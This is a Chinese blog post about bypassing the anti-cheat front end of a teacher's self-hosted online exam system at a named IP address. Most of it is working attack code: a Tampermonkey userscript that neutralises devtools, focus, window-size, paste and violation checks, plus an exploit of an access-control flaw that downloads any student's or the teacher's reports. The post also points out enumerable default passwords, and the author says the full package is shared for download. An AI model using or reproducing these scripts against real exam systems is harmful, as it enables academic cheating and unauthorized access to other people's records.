手痒逆向了一个女朋友老师自己搭建的考试系统,本人鄙视这种限制学生粘贴的行为🤣。本文记录了对两个版本的前端反作弊机制进行逆向分析与绕过的完整过程,最终通过编写 Tampermonkey 油猴脚本,实现了对两个版本所有反作弊机制的完全绕过,并额外实现了本地 Python 代码执行、下载任意学号报告等扩展功能。

一、系统架构概述

该考试系统采用前后端分离架构:

┌─────────────────┐         ┌──────────────────┐
│  前端 (HTML/JS)  │  HTTP   │  后端 (Flask)      │
│  Port 80 / 81   │ ◄─────► │  Port 5105 / 5106 │
│  Monaco Editor  │         │  Python 3.10       │
└─────────────────┘         └──────────────────┘
  • 考试1:前端 :80,后端 :5105,基础反调试
  • 考试2:前端 :81,后端 :5106,升级版反调试

两个版本共享相似的代码结构,但考试2在安全层面做了大量增强。后端基于 Werkzeug/Flask,提供题目获取、代码运行、批改、提交等 RESTful API。


二、考试1逆向分析

2.1 debugger 循环炸弹

考试1的核心反调试手段是 debugger 循环。当开发者工具处于打开状态时,debugger 语句会导致 JavaScript 引擎暂停执行,配合计时就能判断工具是否打开:

function detectDevToolsComprehensive() {
    // 学号 101242805(老师)不做检测
    const studentId = localStorage.getItem('student_id');
    if (studentId === "101242805") return false;

    const start = performance.now();
    for (let i = 0; i < 100000; i++) {
        debugger;  // 关键:如果 DevTools 打开,每次都会暂停
    }
    const debuggerTime = performance.now() - start;

    if (debuggerTime > 5000) {  // 正常执行远小于 50ms
        detected = true;
    }
}

原理分析

  • 当 DevTools 关闭时,debugger 语句被忽略,10 万次循环几乎瞬间完成
  • 当 DevTools 打开时,每个 debugger 都会触发断点暂停,总耗时远超 5 秒
⚠️ 注意:这里硬编码了老师的学号 **101242805 作为白名单。这个信息后面会被利用。

2.2 计时器漂移检测

第二道防线是 计时器漂移检测。页面有一个考试计时器,每秒通过 setInterval 更新 DOM。同时每 3 秒检查一次页面计时器的显示值是否与系统真实流逝时间一致:

function detectDevToolsByTimer() {
    const timerText = document.getElementById('timer').textContent;
    const match = timerText.match(/考试计时[::](\d+):(\d+)/);

    const totalTimerSeconds = parseInt(match[1]) * 60 + parseInt(match[2]);
    const expectedElapsed = Math.floor((Date.now() - startTime) / 1000);

    const timeDiff = Math.abs(totalTimerSeconds - expectedElapsed);

    if (timeDiff > 3) {  // 允许 ±3 秒误差
        handleDevToolsDetection(`计时器异常 (差值: ${timeDiff}秒)`);
    }
}

原理:如果 debugger 循环卡住了主线程,setInterval 回调会被延迟,导致页面显示的时间比系统实际流逝的时间慢。差值超过 3 秒就判定异常。

2.3 综合检测调度中心

所有检测通过一个调度函数统一启动:

function setupCompleteProtection() {
    if (!isTopWindow()) {
        handleIframeEmbedding();  // 防止 iframe 嵌入
        return;
    }
    setupVisibilityDetection();          // Page Visibility API
    setupFocusDetection();               // window blur/focus
    setInterval(detectDevToolsComprehensive, 3000);  // 每 3 秒一次 debugger 检测
    setInterval(detectDevToolsByTimer, 3000);         // 每 3 秒一次计时器漂移检测
    setTimeout(detectDevToolsByTimer, 5000);          // 首次延迟 5 秒检测
}

检测触发后的处置逻辑是分级制

次数处置
第 1 次myAlert 警告
第 2 次及以上showBlockingOverlay() 黑色全屏遮罩,阻止一切操作

2.4 DOM 级别的防护

除了 JavaScript 检测之外,还有 DOM 属性级别的防护:

document.oncontextmenu = () => false;   // 禁止右键
document.oncopy = () => false;          // 禁止复制

以及在 editorDiv 上直接绑定的 keydown 拦截器:

editorDiv.addEventListener('keydown', e => {
    if ((e.ctrlKey && (e.key === 'v' || e.key === 'c')) ||
        (e.shiftKey && e.key === 'Insert')) {
        e.preventDefault();
        myAlert('⚠️ 当前考试禁止复制粘贴!');
    }
});

三、考试2逆向分析

考试2在考试1的基础上进行了全面升级(可能求助了豆包^\_^),新增了 7 项检测/防护机制。

3.1 服务端 Token 验证

考试1只检查 localStorage 里有没有 student_id,没有任何后端验证。考试2加入了 Token 机制:

async function verifyLogin() {
    const sid = localStorage.getItem("student_id");
    const token = localStorage.getItem("token");

    const res = await fetch(`${BASE_URL}/verify_login`, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ student_id: sid, token: token })
    });

    const data = await res.json();
    if (!data.valid) {
        localStorage.clear();
        location.href = "login.html";  // 踢回登录页
    }
}
verifyLogin();  // 页面加载即执行

Token 的格式为 学号:时间戳:随机盐:HMAC签名,例如:

24016666:1774455505:2567e28a458782ed:050665574339ba89f8a0aed36374536c4ada082da3aaec52a8eb4765bc894358

3.2 窗口最大化 + 焦点检测

这是考试2最显著的新增机制。每 500ms 检查一次窗口是否处于最大化状态:

function checkExamStatus() {
    // 检测是否最大化(允许 20px 误差)
    const isMaximized = Math.abs(window.screen.availWidth - window.outerWidth) < 20 &&
                        Math.abs(window.screen.availHeight - window.outerHeight) < 20;

    // 检测当前窗口是否拥有焦点
    const isFocused = document.hasFocus();

    if (!isMaximized || !isFocused) {
        document.getElementById("warningLayer").style.display = "flex";
        // 显示红色全屏警告遮罩
    }
}

setInterval(checkExamStatus, 500);
window.addEventListener('resize', checkExamStatus);

warningLayer 是一个预置在 HTML 中的全屏红色遮罩层:

<div id="warningLayer" style="display:none; position:fixed; top:0; left:0;
     width:100%; height:100%; background:rgba(0,0,0,0.95); color:#ff3a3a;
     z-index:999999; ...">

3.3 违规计数器

考试1检测到异常直接封锁,没有宽限。考试2引入了分级违规计数器

let violationCount = parseInt(localStorage.getItem('violationCount') || 0);
const MAX_VIOLATIONS = 3;

function handleViolation(reason) {
    violationCount++;
    localStorage.setItem('violationCount', violationCount);

    if (violationCount >= MAX_VIOLATIONS) {
        myAlert(`请保持考试页面为顶层页面!`);
    } else {
        myAlert(`警告:${reason}!当前违规次数:${violationCount}/${MAX_VIOLATIONS}`);
    }
}

window.onblur = () => handleViolation("尝试切换窗口或离开考场");

关键发现:违规计数存储在 localStorage 中,然而并不会上报后端。所有违规处置逻辑都是纯前端的,没有任何 fetch 调用将违规记录发送到服务器。

3.4 自定义弹窗替换原生 alert

考试1使用原生 alert(),很容易通过 window.alert = () => {} 拦截。考试2改用了自定义的 DOM 弹窗:

function myAlert(msg) {
    const modal = document.getElementById("customAlert");
    document.getElementById("myAlertBody").innerHTML =
        `<b>考生 ID: ${getSid()}</b><br><br>${msg}`;
    modal.style.display = "flex";
}

这意味着简单地覆盖 window.alert 无法拦截考试2的警告弹窗,必须同时拦截 window.myAlert

3.5 拖拽锁屏

在每个编辑器区域 editorDiv 上绑定了 drop 事件监听器。一旦触发拖拽操作,立即创建黑色全屏遮罩并禁用所有交互:

editorDiv.addEventListener('drop', (e) => {
    e.preventDefault();

    const block = document.createElement('div');
    block.style = `position:fixed; top:0; left:0; width:100%; height:100%;
                   background:black; color:white; z-index:99999; ...`;
    block.innerHTML = '🚫 违规操作!页面已锁定<br>...';
    document.body.appendChild(block);

    // 禁用一切交互
    document.addEventListener('click', e => e.preventDefault(), true);
    document.addEventListener('keydown', e => e.preventDefault(), true);
});

这种设计的意图是阻止学生通过拖拽文件到编辑器来导入代码。

3.6 编辑器粘贴限制与行宽检测

除了普通的 Ctrl+V / Shift+Insert 拦截,考试2还增加了行字符宽度检测

const charLimitPerLine = 80;

function getStringWidth(str) {
    let width = 0;
    for (let i = 0; i < str.length; i++) {
        if (str.charAt(i).match(/[^\x00-\xff]/)) {
            width += 2;  // 中文字符算 2 宽度
        } else {
            width += 1;
        }
    }
    return width;
}

function handlePaste(e) {
    const pasteData = e.clipboardData.getData('text');
    const pasteWidth = getStringWidth(pasteData);
    if (currentLineWidth + pasteWidth > charLimitPerLine) {
        e.preventDefault();
        myAlert(`粘贴内容会导致行超过 ${charLimitPerLine} 字符宽度限制`);
    }
}

3.7 fetch() 全局劫持

考试2最高级的防护是劫持 window.fetch,对所有发往后端的请求自动注入认证信息:

const originalFetch = window.fetch;
window.fetch = async function (url, options = {}) {
    if (typeof url === 'string' && url.includes(BASE_URL)) {
        options.credentials = "include";

        // 自动注入认证头
        const headers = {
            ...createAuthHeaders(),  // Authorization, X-Auth-Token, X-Student-ID
            ...options.headers
        };
        options.headers = headers;

        // 自动往 body 里注入 student_id 和 token
        if (options.method === 'POST' && options.body) {
            const bodyObj = JSON.parse(options.body);
            bodyObj.student_id = bodyObj.student_id || localStorage.getItem('student_id');
            bodyObj.token = bodyObj.token || localStorage.getItem('token');
            options.body = JSON.stringify(bodyObj);
        }
    }

    const response = await originalFetch.call(this, url, options);

    if (response.status === 401) {
        // 自动登出
        location.href = 'login.html';
    }

    return response;
};

这意味着如果我们想用不同的 student_id 调用 API(比如下载别的同学或老师的报告),必须绕过这个劫持。


四、油猴脚本编写

4.1 注入时机:document-start 的重要性

整个绕过方案的基石是 @run-at document-start

// ==UserScript==
// @name         考试系统反调试绕过
// @version      2.0
// @match        http://47.100.117.38/*
// @match        http://47.100.117.38:81/*
// @match        http://47.100.117.38:5105/*
// @match        http://47.100.117.38:5106/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

document-start 确保我们的脚本在页面的任何 <script> 标签执行之前就已经运行。这让我们有机会重写 setIntervalsetTimeoutFunction 等全局对象,拦截后续所有的反调试代码。

4.2 保存原始原语

在任何页面代码执行之前,先保存原始的底层 API 引用:

const _origFetch = window.fetch.bind(window);
const _origSetInterval = window.setInterval;
const _origSetTimeout = window.setTimeout;
const _origAlert = window.alert;

为什么要这么做?

  1. _origSetInterval / _origSetTimeout :我们要重写这些函数来过滤检测回调,但我们自己的代码(比如周期性清理遮罩层)仍需要使用原始版本
  2. _origFetch :考试2会劫持 window.fetch 自动注入 student_id,当我们想用老师学号下载报告时,需要绕过这个劫持
  3. _origAlert :我们要拦截检测弹窗,但脚本自己的错误提示仍需要弹窗

4.3 Function 构造器劫持

拦截通过 new Function()eval() 动态生成的 debugger 语句:

const _origFunction = window.Function;
window.Function = function (...args) {
    if (args.length > 0) {
        const body = args[args.length - 1];
        if (typeof body === 'string' && body.includes('debugger')) {
            args[args.length - 1] = body.replace(/debugger/g, '');
        }
    }
    return _origFunction.apply(this, args);
};
window.Function.prototype = _origFunction.prototype;

注意最后一行,必须保留 prototype 链,否则 instanceof Function 等检查会失败,可能导致页面其他功能异常。

4.4 setInterval / setTimeout 过滤器

通过重写 setIntervalsetTimeout,在回调注册时就过滤掉所有检测函数:

const blockedKeywords = [
    'detectDevTools',
    'detectDevToolsComprehensive',
    'detectDevToolsByTimer',
    'checkExamStatus',      // 考试2 新增
    'handleViolation',      // 考试2 新增
];

function shouldBlock(callback) {
    if (typeof callback === 'function') {
        const src = callback.toString();  // 获取函数源码
        return blockedKeywords.some(kw => src.includes(kw));
    }
    if (typeof callback === 'string') {
        return blockedKeywords.some(kw => callback.includes(kw));
    }
    return false;
}

window.setInterval = function (callback, delay, ...args) {
    if (shouldBlock(callback)) {
        console.log(`[反反调试] 已拦截 setInterval`);
        return -1;  // 返回假 ID,不实际注册
    }
    return _origSetInterval.call(window, callback, delay, ...args);
};

关键技术点callback.toString() 可以获取函数的完整源码字符串。即使回调是匿名函数,只要其函数体中包含检测函数的调用(如 detectDevToolsComprehensive),就会被过滤。

4.5 全局函数覆盖

即使 setInterval/setTimeout 拦截器能挡住新注册的定时器,但有些检测函数是通过 window.addEventListener 绑定的(如 resize 事件触发 checkExamStatus)。

对此,采用直接覆盖函数 + 持续清除策略:

const functionsToKill = [
    'detectDevToolsComprehensive', 'detectDevToolsByTimer',
    'handleDevToolsDetection', 'showBlockingOverlay',
    'setupCompleteProtection', 'setupFocusDetection',
    'setupVisibilityDetection', 'handleIframeEmbedding',
    'checkExamStatus', 'handleViolation',
];

function killDetectors() {
    functionsToKill.forEach(name => {
        if (typeof window[name] === 'function') {
            window[name] = () => false;  // 替换为 noop
        }
    });
    window.onblur = null;  // 清除 blur 事件

    // 持续清除 warningLayer
    const warningLayer = document.getElementById('warningLayer');
    if (warningLayer) {
        warningLayer.style.display = 'none';
    }

    localStorage.setItem('violationCount', '0');  // 重置违规计数
}

killDetectors();
_origSetTimeout.call(window, killDetectors, 500);
_origSetTimeout.call(window, killDetectors, 2000);
_origSetTimeout.call(window, killDetectors, 5000);
// 每秒持续覆盖
_origSetInterval.call(window, killDetectors, 1000);

为什么要持续覆盖? 因为 document-start 阶段页面 DOM 还没加载完,全局函数也还没定义。需要在函数被定义后立刻覆盖它们。多次延迟执行 + 周期性执行确保无论页面脚本在何时定义这些函数,都能在极短时间内被替换。

4.6 DOM 事件拦截链

恢复复制粘贴功能的关键在于理解 DOM 事件的捕获/冒泡模型:

                    ┌── document (capture) ──┐
                    │  我们的拦截器在这里     │
                    │  stopImmediatePropagation()
                    ▼                        │
              ┌── editorDiv (bubble) ──┐     │
              │  页面的拦截器在这里     │     │
              │  永远不会执行 ✅         │   │
              └────────────────────────┘     │
                    └────────────────────────┘
// 在 document 的 capture 阶段(第三个参数 true)拦截
document.addEventListener('paste', (e) => {
    showToast(mockMessages[Math.random() * mockMessages.length | 0]);
    e.stopImmediatePropagation();  // 阻止后续所有同事件监听器
}, true);  // ← capture 阶段

document.addEventListener('keydown', function (e) {
    // 拦截 Ctrl+C/V/X 和 Shift+Insert
    if (e.ctrlKey && (e.key === 'c' || e.key === 'v' || e.key === 'x')) {
        e.stopImmediatePropagation();
    }
    if (e.shiftKey && e.key === 'Insert') {
        e.stopImmediatePropagation();
    }
}, true);

同时清除属性级别的事件绑定:

document.body.oncontextmenu = null;
document.oncontextmenu = null;
document.oncopy = null;  // 考试2 的属性绑定
document.oncut = null;

审计发现:考试2除了 Ctrl+V 还检测了 Shift+Insert,初始版本的脚本遗漏了这一点。document.oncopy = () => false 是属性赋值而非 addEventListenerstopImmediatePropagation 对它无效,必须显式清除。

4.7 myAlert 的守株待兔式拦截

考试2的 myAlert 在页面脚本中定义,可能在我们的 onReady 回调执行时还不存在。

为此使用 Object.defineProperty 实现守株待兔式拦截:

const alertBlockKeywords = [
    '违规操作', '开发者工具', '计时异常', '禁止复制粘贴',
    '检测到', '窗口非最大化', '切屏', '离开页面',
];

// 如果 myAlert 还没定义,提前布下陷阱
let _myAlertFn = null;
Object.defineProperty(window, 'myAlert', {
    get() { return _myAlertFn; },
    set(fn) {
        // 页面脚本定义 myAlert 时,我们立即包裹它
        _myAlertFn = function (msg) {
            if (typeof msg === 'string' &&
                alertBlockKeywords.some(kw => msg.includes(kw))) {
                console.log(`[反反调试] 已拦截 myAlert: "${msg}"`);
                return;  // 吞掉检测弹窗
            }
            return fn.call(this, msg);  // 放行正常弹窗
        };
    },
    configurable: true,
});

原理:利用 Object.defineProperty 的 setter 拦截对 window.myAlert 的赋值操作。当页面脚本执行 function myAlert(msg) {...} 时,实际上会触发我们的 setter,我们在 setter 中用过滤逻辑包装了原始函数。

4.8 warningLayer 持续闪现

warningLayer 每 500ms 被 checkExamStatus 唤醒一次。虽然我们已经覆盖了 checkExamStatus,但 resize 事件的监听器引用的是原始函数(闭包引用),在覆盖前就已绑定。

因此采用双保险策略:

  1. 函数覆盖,每秒nop掉 window.checkExamStatus
  2. DOM 清除,每秒强制隐藏 warningLayer
// 在 killDetectors 函数中(每秒执行):
const warningLayer = document.getElementById('warningLayer');
if (warningLayer) {
    warningLayer.style.display = 'none';
    warningLayer.style.visibility = 'hidden';
}

最坏情况下,warningLayer 可能闪现一帧(\~1ms)后就被隐藏。

4.9 遮罩层清理器

对于已经生成的遮罩层(如 showBlockingOverlay 创建的黑色遮罩、拖拽锁屏遮罩),通过定时扫描移除:

function removeOverlays() {
    document.querySelectorAll('div').forEach(el => {
        const s = el.style;
        if ((s.zIndex === '99999' || s.zIndex === '10000') &&
            !el.dataset.antiantiKeep) {  // 保护自己注入的元素
            el.remove();
        }
    });
}
_origSetInterval.call(window, removeOverlays, 2000);

脚本注入的 UI 元素通过 data-antianti-keep="true" 标记来免受清理。


五、扩展功能实现

5.1 本地 Python 执行器

考试系统的代码运行功能有服务端次数限制

为了不受限制地调试代码,直接在浏览器中集成了 一个编译成 WebAssembly 的 CPython 解释器Pyodide

let pyodideInstance = null;

async function loadPyodide() {
    if (pyodideInstance) return pyodideInstance;

    const script = document.createElement('script');
    script.src = 'https://cdn.jsdelivr.net/pyodide/v0.25.1/full/pyodide.js';
    // ... 加载后初始化
    pyodideInstance = await window.loadPyodide({
        indexURL: 'https://cdn.jsdelivr.net/pyodide/v0.25.1/full/'
    });
}

遇到的坑和解决方案:

  1. input() 函数:Pyodide 没有标准输入。解决方案是用浏览器 prompt() 模拟:

    builtins.input = lambda prompt_msg="": _js_prompt(str(prompt_msg))
  2. Windows \r\n 换行符:Monaco 编辑器在 Windows 上会产生 \r\n,导致 Python 解析器报 SyntaxError。需要在执行前统一替换为 \n
  3. eval_code 解析器 bug:Pyodide 自带的 eval_code 在解析包含 if/else 块的代码时会报 SyntaxError。最终改用 exec(compile(code, "<user>", "exec")) 绕过。
  4. 缩进修复:中文全角空格(\u3000)、BOM 标记(\uFEFF)等都可能破坏缩进。编写了 normalizePythonCode()repairPythonBlockStructure() 两个函数来自动修复。

5.2 下载任意同学和老师的报告

通过审计发现,/download_report 接口未校验请求者身份与目标学号是否一致。只要有合法 token,就能下载任意学号的报告:

// 用我们保存的 _origFetch 绕过页面的 fetch 劫持
// (页面的 fetch 会把 student_id 强制替换为当前登录者的学号)
const res = await _origFetch(`${baseUrl}/download_report`, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`,
    },
    body: JSON.stringify({ student_id: targetStudentId, token }),
});

脚本注入了两个额外的下载按钮:

  • 下载别的同学报告:弹出输入框填写学号
  • 下载老师的报告:使用硬编码的老师学号 101242805

5.3 无反作弊前端的搭建

更进一步,可以直接搭建一个完全无反作弊限制的前端网站,对接同一个后端 API。

CORS 测试:

curl -X OPTIONS "http://47.100.117.38:5106/problems" \
     -H "Origin: https://sb.teacher.com" \
     -H "Access-Control-Request-Method: POST"

返回结果显示后端使用了动态 CORS 镜像策略,会原样反射请求者的 Origin:

Access-Control-Allow-Origin: https://sb.teacher.com
Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT

这意味着任何域名都可以直接调用后端 API,无需反代。

但有一个坑:原版代码中的 credentials: "include" 会要求后端返回 Access-Control-Allow-Credentials: true,而后端并没有配置这个头。解决方案是将 credentials 改为 omit,这样认证完全通过 header 和 body 中的 token 传递,不需要 cookie。


六、后端 API 安全审计

完整 API 列表与安全问题:

接口方法认证安全问题
/loginPOST初始密码 = 学号,可枚举
/problemsGET完全匿名可访问,无需登录
/runPOST正常
/gradePOST正常
/download_reportPOST未校验 student\_id 与 token 所有者的关系
/verify_loginPOST正常
/submit_allPOST正常

核心安全问题

  1. 后端不鉴权:/download_report 只验证 token 合法性,不验证 token 对应的用户与请求的 student_id 是否一致,导致任意用户可以下载他人报告。
  2. CORS 过于宽松:后端对所有 Origin 返回 Allow,等同于 *,允许任意第三方网站调用 API。
  3. 所有反作弊措施仅在前端:违规计数、窗口检测、粘贴禁止——全部是前端逻辑,没有任何一项会上报后端。老师无法从服务端日志中发现学生是否使用了开发者工具或进行了违规操作。

七、总结

防护机制触发方式绕过手段
debugger 循环炸弹setInterval + debugger重写 Function,过滤 setInterval回调
计时器漂移检测setInterval(detectDevToolsByTimer)过滤 setInterval回调
窗口最大化检测setInterval(checkExamStatus, 500)过滤回调 + 覆盖函数 + 隐藏 warningLayer
违规计数器window.onblur清除 onblur+ 重置 localStorage
禁止复制粘贴editorDiv.addEventListener('keydown/paste')document capture 阶段 stopImmediatePropagation
document.oncopy属性赋值document.oncopy = null
自定义弹窗 myAlert函数调用Object.defineProperty守株待兔
拖拽锁屏editorDiv.addEventListener('drop')document capture 阶段 stopImmediatePropagation
全屏遮罩层showBlockingOverlay()定时扫描并移除 z-index: 99999的 div
fetch()劫持重写 window.fetchdocument-start 保存 _origFetch
iframe 嵌入检测window.self !== window.top覆盖 handleIframeEmbedding 为空函数

八、附件

全部打包到蓝奏云

End

本文标题:逆向一个在线考试系统的前端反作弊机制,从分析到绕过

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源,本人保留此文章的所有权利

最后修改:2026 年 04 月 06 日
如果觉得我的软件或文章对你有帮助,请自愿打赏~